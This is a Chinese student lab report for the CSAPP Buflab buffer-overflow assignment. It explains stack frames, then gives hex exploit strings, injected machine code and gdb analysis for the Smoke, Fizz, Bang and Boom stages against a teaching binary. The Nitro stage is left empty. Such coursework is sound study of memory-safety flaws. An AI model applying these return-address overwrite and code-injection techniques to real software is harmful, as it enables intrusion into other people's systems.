哈爾濱工業大學

实验报告

实 验（三）

题　　目 Buflab

缓冲器漏洞攻击

专　　业 人工智能

学　　号 2022113416

班　　级 2203601

学　　生 刘子康

指 导 教 师 吴锐

实 验 地 点 G715

实 验 日 期 2024.04.14

计算机科学与技术学院

目 录

第 1 章 实验基本信息

1.1 实验目的

填写……

1.2 实验环境与工具

1.2.1 硬件环境

X64 CPU；3.2GHz；16G RAM；512G SSD

1.2.2 软件环境

Windows11 64 位；Vmware 17；Ubuntu 22.04 LTS 64 位

1.2.3 开发工具

Visual Studio 2022 64 位；GDB/OBJDUMP；DDD/EDB 等

1.3 实验预习

1.了解实验的目的、实验环境与软硬件工具、实验操作步骤，复习与实验有关的理论知识。

2.请按照入栈顺序，写出 C 语言 32 位环境下的栈帧结构

3.请按照入栈顺序，写出 C 语言 64 位环境下的栈帧结构

4.请简述缓冲区溢出的原理及危害

5.请简述缓冲器溢出漏洞的攻击方法

6.请简述缓冲器溢出漏洞的防范方法

第 2 章 实验预习

2.1 请按照入栈顺序，写出 C 语言 32 位环境下的栈帧结构（5 分）

栈底（高地址）

//较早的帧
参数 n 参数 n-1 …… 参数 2 参数 1
返回地址
被保存的%ebp
被保存的寄存器、本地变量、局部变量
参数构造区域 %esp

栈底（低地址）

2.2 请按照入栈顺序，写出 C 语言 64 位环境下的栈帧结构（5 分）

栈底（高地址）

//较早的帧
参数 n 参数 n-1 …… 参数 2 参数 1

2.3 请简述缓冲区溢出的原理及危害（5 分）

原理：缓冲区溢出是指当计算机向缓冲区填充数据时超出了缓冲区本身的容量，溢出的数据覆盖在合法数据上。

危害：1.程序崩溃或无法运行，导致拒绝服务；

2.可能覆盖返回地址，跳转并且执行恶意代码；

3.内存区的敏感信息泄露或重要数据损坏。

2.4 请简述缓冲器溢出漏洞的攻击方法（5 分）

一般利用缓冲区溢出漏洞攻击 root 程序，通常要完成两个任务，就是在程序的地址空间里安排适当的代码和通过适当的初始化寄存器和存储器，让程序跳转到安排好的地址空间执行。

2.5 请简述缓冲器溢出漏洞的防范方法（5 分）

保证程序代码的正确性和健壮性；通过操作系统使得缓冲区不可执行，从而阻止攻击者植入攻击代码；利用编译器的边界检查实现缓冲区的保护；在程序指针失效前进行完整性检查。

第 3 章 各阶段漏洞攻击原理与方法

每阶段 25 分，文本 10 分，分析 15 分，总分不超过 80 分

3.1 Smoke 阶段 1 的攻击与分析

文本如下：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bb 8b 04 08

分析过程：

需要构造一个攻击字符串作为 bufbomb 的输入，在 getbuf 函数中造成缓冲区溢出，使得 getbuf 函数返回时不是返回到 test 函数，而是转到 smoke 函数处执行。

（1）观察反汇编代码中 getbuf 函数的栈帧结构，962-963 行申请了 0x28=40 字节的空间作为 buf 的缓冲区，getbuf 的栈帧为 0x28+0xc+4(ebp)=56 字节。

```
959 08049378 <getbuf>:
960  8049378:       55                      push   %ebp
961  8049379:       89 e5                   mov    %esp,%ebp
962  804937b:       83 ec 28                sub    $0x28,%esp
963  804937e:       83 ec 0c                sub    $0xc,%esp
964  8049381:       8d 45 d8                lea    -0x28(%ebp),%eax
965  8049384:       50                      push   %eax
966  8049385:       e8 9e fa ff ff          call   8048e28 <Gets>
967  804938a:       83 c4 10                add    $0x10,%esp
968  804938d:       b8 01 00 00 00          mov    $0x1,%eax
969  8049392:       c9                      leave
970  8049393:       c3                      ret
```

（2）从反汇编代码中找到 somke 函数的地址为 0x08048bbb。

```
333 08048bbb <smoke>:
334  8048bbb:       55                      push   %ebp
335  8048bbc:       89 e5                   mov    %esp,%ebp
336  8048bbe:       83 ec 08                sub    $0x8,%esp
337  8048bc1:       83 ec 0c                sub    $0xc,%esp
338  8048bc4:       68 c0 a4 04 08          push   $0x804a4c0
339  8048bc9:       e8 92 fd ff ff          call   8048960 <puts@plt>
340  8048bce:       83 c4 10                add    $0x10,%esp
341  8048bd1:       83 ec 0c                sub    $0xc,%esp
342  8048bd4:       6a 00                   push   $0x0
343  8048bd6:       e8 f0 08 00 00          call   80494cb <validate>
344  8048bdb:       83 c4 10                add    $0x10,%esp
345  8048bde:       83 ec 0c                sub    $0xc,%esp
346  8048be1:       6a 00                   push   $0x0
347  8048be3:       e8 88 fd ff ff          call   8048970 <exit@plt>
```

（3）因此攻击字符串大小应为 0x28+4(ebp)+4=48 个字节，且最后 4 个字节应为 smoke 函数地址 0x08048bbb，使之覆盖返回地址（前 44 字节可为任意值）。同时应注意字节顺序为小端模式。

3.2 Fizz 的攻击与分析

文本如下：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 8b 04 08 00 00 00 00 82 5d 40 44

分析过程：

需要构造攻击字符串造成缓冲区溢出，使得程序调用 fizz 函数，并将 cookie 值作为参数传递给 fizz 函数。

（1）查看反汇编代码可知 fizz 函数的地址为 0x08048be8，同 smoke 的攻击一样，用 fizz 函数的地址覆盖返回地址，前 44 个字节为任意值，之后 4 字节为 fizz 函数的地址。

```
349 08048be8 <fizz>:
350  8048be8:       55                      push   %ebp
351  8048be9:       89 e5                   mov    %esp,%ebp
352  8048beb:       83 ec 08                sub    $0x8,%esp
353  8048bee:       8b 55 08                mov    0x8(%ebp),%edx
354  8048bf1:       a1 58 e1 04 08          mov    0x804e158,%eax
355  8048bf6:       39 c2                   cmp    %eax,%edx
356  8048bf8:       75 22                   jne    8048c1c <fizz+0x34>
357  8048bfa:       83 ec 08                sub    $0x8,%esp
358  8048bfd:       ff 75 08                push   0x8(%ebp)
359  8048c00:       68 db a4 04 08          push   $0x804a4db
360  8048c05:       e8 76 fc ff ff          call   8048880 <printf@plt>
361  8048c0a:       83 c4 10                add    $0x10,%esp
362  8048c0d:       83 ec 0c                sub    $0xc,%esp
363  8048c10:       6a 01                   push   $0x1
364  8048c12:       e8 b4 08 00 00          call   80494cb <validate>
365  8048c17:       83 c4 10                add    $0x10,%esp
366  8048c1a:       eb 13                   jmp    8048c2f <fizz+0x47>
367  8048c1c:       83 ec 08                sub    $0x8,%esp
368  8048c1f:       ff 75 08                push   0x8(%ebp)
369  8048c22:       68 fc a4 04 08          push   $0x804a4fc
370  8048c27:       e8 54 fc ff ff          call   8048880 <printf@plt>
371  8048c2c:       83 c4 10                add    $0x10,%esp
372  8048c2f:       83 ec 0c                sub    $0xc,%esp
373  8048c32:       6a 00                   push   $0x0
374  8048c34:       e8 37 fd ff ff          call   8048970 <exit@plt>
```

（2）353-355 行首先将 ebp+8 处的值赋给%edx，将 0x804e158 处的值赋给%eax，然后比较%eax 和%edx。通过 gdb 调试可知 359-360 行为打印成功信息，又由 356 行可知只有当%eax 与%edx 相等时才成功。

```
(gdb) x/s 0x804a4db
0x804a4db:      "Fizz!: You called fizz(0x%x)\n"
(gdb) x/s 0x804a4fc
0x804a4fc:      "Misfire: You called fizz(0x%x)\n"
```

（3）gdb 调试可知 0x804e158 存储的值为 cookie 值，则只需再将 cookie 的值以小端格式写到 ebp+8 的位置即可（ebp+4 处可为任意值）。

```
(gdb) x/4x 0x804e158
0x804e158 <cookie>:     0x82    0x5d    0x40    0x44
```

3.3 Bang 的攻击与分析

文本如下：

c7 05 60 e1 04 08 82 5d 40 44 68 39 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 36 68 55

分析过程：

需要构造攻击字符串造成缓冲区溢出，使得程序调用 bang 函数，并在缓冲区中注入恶意代码，将全局变量 global_value 篡改为 cookie 值。

（1）查看反汇编代码可知 bang 函数的地址为 0x08048c39 ，380-389 行将 0x804e160 处的值赋给%edx，将 0x804e158 处的值赋给%eax，并比较%edx 和%eax，若相等则判断成功。由阶段二 fizz 的攻击可知 0x804e158 处存储的为 cookie 值，推测 0x804e160 处存储的是全局变量 global_value，gdb 调试可知推测正确。

```
376 08048c39 <bang>:
377  8048c39:       55                      push   %ebp
378  8048c3a:       89 e5                   mov    %esp,%ebp
379  8048c3c:       83 ec 08                sub    $0x8,%esp
380  8048c3f:       a1 60 e1 04 08          mov    0x804e160,%eax
381  8048c44:       89 c2                   mov    %eax,%edx
382  8048c46:       a1 58 e1 04 08          mov    0x804e158,%eax
383  8048c4b:       39 c2                   cmp    %eax,%edx
384  8048c4d:       75 25                   jne    8048c74 <bang+0x3b>
385  8048c4f:       a1 60 e1 04 08          mov    0x804e160,%eax
386  8048c54:       83 ec 08                sub    $0x8,%esp
387  8048c57:       50                      push   %eax
388  8048c58:       68 1c a5 04 08          push   $0x804a51c
389  8048c5d:       e8 1e fc ff ff          call   8048880 <printf@plt>
390  8048c62:       83 c4 10                add    $0x10,%esp
391  8048c65:       83 ec 0c                sub    $0xc,%esp
392  8048c68:       6a 02                   push   $0x2
393  8048c6a:       e8 5c 08 00 00          call   80494cb <validate>
394  8048c6f:       83 c4 10                add    $0x10,%esp
395  8048c72:       eb 16                   jmp    8048c8a <bang+0x51>
396  8048c74:       a1 60 e1 04 08          mov    0x804e160,%eax
397  8048c79:       83 ec 08                sub    $0x8,%esp
398  8048c7c:       50                      push   %eax
399  8048c7d:       68 41 a5 04 08          push   $0x804a541
400  8048c82:       e8 f9 fb ff ff          call   8048880 <printf@plt>
401  8048c87:       83 c4 10                add    $0x10,%esp
402  8048c8a:       83 ec 0c                sub    $0xc,%esp
403  8048c8d:       6a 00                   push   $0x0
404  8048c8f:       e8 dc fc ff ff          call   8048970 <exit@plt>
405
```

```
(gdb) x/4x 0x804e158
0x804e158 <cookie>:     0x82    0x5d    0x40    0x44
(gdb) x/4x 0x804e160
0x804e160 <global_value>:       0x00    0x00    0x00    0x00
```

（2）编写汇编代码文件 bang_asm.s，将 cookie 值（立即数）存储到 0x804e160 处，之后将 bang 函数的地址压栈以实现调用，最后 ret 指令返回。使用 gcc 将 bang_asm.s 文件编译成机器代码，并使用 objdump 反汇编 bang_asm.o 得到恶意代码字节序列，并将其写到攻击字符串的前 44 字节（即缓冲区）。

```
bang_asm.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   c7 05 60 e1 04 08 82    movl   $0x44405d82,0x804e160
   7:   5d 40 44
   a:   68 39 8c 04 08          push   $0x8048c39
   f:   c3                      ret
```

（3）最后通过 gdb 调试查看 buf 缓冲区恶意代码的首地址为 0x55683678，则将其以小端格式写到攻击字符串中的后 4 个字节，以覆盖返回地址，使得 getbuf 函数之后执行缓冲区的恶意代码。

```
(gdb) x/10i $eip
=> 0x804937e <getbuf+6>:        sub    $0xc,%esp
   0x8049381 <getbuf+9>:        lea    -0x28(%ebp),%eax
   0x8049384 <getbuf+12>:       push   %eax
   0x8049385 <getbuf+13>:       call   0x8048e28 <Gets>
   0x804938a <getbuf+18>:       add    $0x10,%esp
   0x804938d <getbuf+21>:       mov    $0x1,%eax
   0x8049392 <getbuf+26>:       leave
   0x8049393 <getbuf+27>:       ret
   0x8049394 <getbufn>: push   %ebp
   0x8049395 <getbufn+1>:       mov    %esp,%ebp
(gdb) si
0x08049381 in getbuf ()
(gdb) si
0x08049384 in getbuf ()
(gdb) info reg
eax            0x55683678          1432893048
```

3.4 Boom 的攻击与分析

文本如下：

b8 82 5d 40 44 68 a7 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 68 55 78 36 68 55

分析过程：

需要构造攻击字符串造成缓冲区溢出，并使得 getbuf 函数将 cookie 值返回给 test 函数，而不是返回值 1，且使被攻击程序能返回到原调用函数 test 继续执行。

（1）这一阶段的攻击不仅要将 cookie 作为返回值传送给 test 函数，还要恢复栈帧，即将 ebp 恢复到攻击前栈帧的值。利用 gdb 调试查看开始时栈帧 ebp 的初始值为 0x556836a0，并需要将其写到攻击字符串中 ebp 对应的位置。

```
(gdb) p/x $ebp
$3 = 0x556836a0
```

（2）查看 test 函数的反汇编代码，由 412-413 行可知执行 getbuf 函数之后的指令地址为 0x8048ca7，即 getbuf 函数应返回的值。

```
406 08048c94 <test>:
407  8048c94:       55                      push   %ebp
408  8048c95:       89 e5                   mov    %esp,%ebp
409  8048c97:       83 ec 18                sub    $0x18,%esp
410  8048c9a:       e8 64 04 00 00          call   8049103 <uniqueval>
411  8048c9f:       89 45 f0                mov    %eax,-0x10(%ebp)
412  8048ca2:       e8 d1 06 00 00          call   8049378 <getbuf>
413  8048ca7:       89 45 f4                mov    %eax,-0xc(%ebp)
414  8048caa:       e8 54 04 00 00          call   8049103 <uniqueval>
415  8048caf:       89 c2                   mov    %eax,%edx
416  8048cb1:       8b 45 f0                mov    -0x10(%ebp),%eax
417  8048cb4:       39 c2                   cmp    %eax,%edx
418  8048cb6:       74 12                   je     8048cca <test+0x36>
419  8048cb8:       83 ec 0c                sub    $0xc,%esp
420  8048cbb:       68 60 a5 04 08          push   $0x804a560
421  8048cc0:       e8 9b fc ff ff          call   8048960 <puts@plt>
422  8048cc5:       83 c4 10                add    $0x10,%esp
423  8048cc8:       eb 41                   jmp    8048d0b <test+0x77>
424  8048cca:       8b 55 f4                mov    -0xc(%ebp),%edx
425  8048ccd:       a1 58 e1 04 08          mov    0x804e158,%eax
426  8048cd2:       39 c2                   cmp    %eax,%edx
427  8048cd4:       75 22                   jne    8048cf8 <test+0x64>
428  8048cd6:       83 ec 08                sub    $0x8,%esp
429  8048cd9:       ff 75 f4                push   -0xc(%ebp)
430  8048cdc:       68 89 a5 04 08          push   $0x804a589
431  8048ce1:       e8 9a fb ff ff          call   8048880 <printf@plt>
432  8048ce6:       83 c4 10                add    $0x10,%esp
433  8048ce9:       83 ec 0c                sub    $0xc,%esp
434  8048cec:       6a 03                   push   $0x3
435  8048cee:       e8 d8 07 00 00          call   80494cb <validate>
436  8048cf3:       83 c4 10                add    $0x10,%esp
437  8048cf6:       eb 13                   jmp    8048d0b <test+0x77>
438  8048cf8:       83 ec 08                sub    $0x8,%esp
439  8048cfb:       ff 75 f4                push   -0xc(%ebp)
440  8048cfe:       68 a6 a5 04 08          push   $0x804a5a6
441  8048d03:       e8 78 fb ff ff          call   8048880 <printf@plt>
442  8048d08:       83 c4 10                add    $0x10,%esp
443  8048d0b:       90                      nop
444  8048d0c:       c9                      leave
445  8048d0d:       c3                      ret
```

（3）编写汇编代码文件 boom_2022113416.s，将 cookie 值（立即数）存储到%eax，以便传送给 test 函数，之后将 0x8048ca7 地址压栈，使得 test 函数继续运行，最后 ret 指令返回。同阶段三 bang 的攻击一样的方式得到恶意代码字节序列，并将其写到攻击字符串的前 44 字节（即缓冲区）。

```
boom_asm.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 82 5d 40 44          mov    $0x44405d82,%eax
   5:   68 a7 8c 04 08          push   $0x8048ca7
   a:   c3                      ret
```

（4）最后由阶段三 bang 的攻击可知 buf 缓冲区首地址为 0x55683678，将其以小端格式写到攻击字符串中的后 4 个字节，以覆盖返回地址，使得 getbuf 函数之后执行缓冲区的恶意代码。

3.5 Nitro 的攻击与分析

文本如下：

分析过程：

第 4 章 总结

4.1 请总结本次实验的收获

（1）对 C 语言栈帧结构的理解更加深入，了解了函数执行过程中栈帧的变化；
（2）学习了缓冲区溢出的原理及危害，知道了缓冲器溢出漏洞的攻击方法和防范方法，对未来程序代码的正确性和健壮性编写有很大帮助；
（3）掌握了编写简单汇编代码并将其编译和反汇编得到字节序列的操作，对反汇编代码的理解更加深入，gdb 反汇编调试更加熟练。

4.2 请给出对本次实验内容的建议

希望 ppt 内容解释的更详细一点，相关指令添加适当注释。
注：本章为酌情加分项。

参考文献

[1] 深入理解计算机系统 CSAPP（第三版）.

[2] 详解栈帧结构 https://blog.csdn.net/wxh0000mm/article/details/97373595

[3] 什么是缓冲区溢出？有什么危害？原因是什么？
https://blog.csdn.net/qq_35642036/article/details/82809845

[4] 缓冲区溢出攻击的原理分析及防范
https://blog.csdn.net/qq_57335073/article/details/130712911